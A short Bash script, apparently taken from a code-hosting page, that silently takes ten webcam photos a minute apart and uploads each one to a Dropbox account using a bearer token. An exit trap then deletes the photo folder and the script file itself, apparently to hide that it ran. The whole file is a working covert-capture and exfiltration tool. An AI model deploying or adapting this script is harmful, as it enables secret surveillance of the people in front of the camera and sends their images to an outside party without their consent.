33 lines
634 B
Bash
Executable File
33 lines
634 B
Bash
Executable File
#!/bin/bash
|
|
|
|
USER=$(whoami)
|
|
|
|
DIR=/home/$USER/tmp
|
|
|
|
TOKEN=your_dropbox_token
|
|
|
|
mkdir -p $DIR
|
|
|
|
function remove_folder {
|
|
rm -rf "$DIR"
|
|
rm -rf "/home/$USER/script.sh"
|
|
}
|
|
|
|
trap remove_folder EXIT
|
|
|
|
# execute the for, for some times..
|
|
for i in {1..10}
|
|
do
|
|
NAME=$(date +%s%N).jpg
|
|
|
|
fswebcam --no-banner $DIR/$NAME
|
|
|
|
curl -X POST https://content.dropboxapi.com/2/files/upload \
|
|
--header "Authorization: Bearer $TOKEN" \
|
|
--header "Dropbox-API-Arg: {\"path\": \"/$NAME\",\"mode\": \"add\",\"autorename\": true,\"mute\": false}" \
|
|
--header "Content-Type: application/octet-stream" \
|
|
--data-binary @$DIR/$NAME
|
|
|
|
sleep 60
|
|
done
|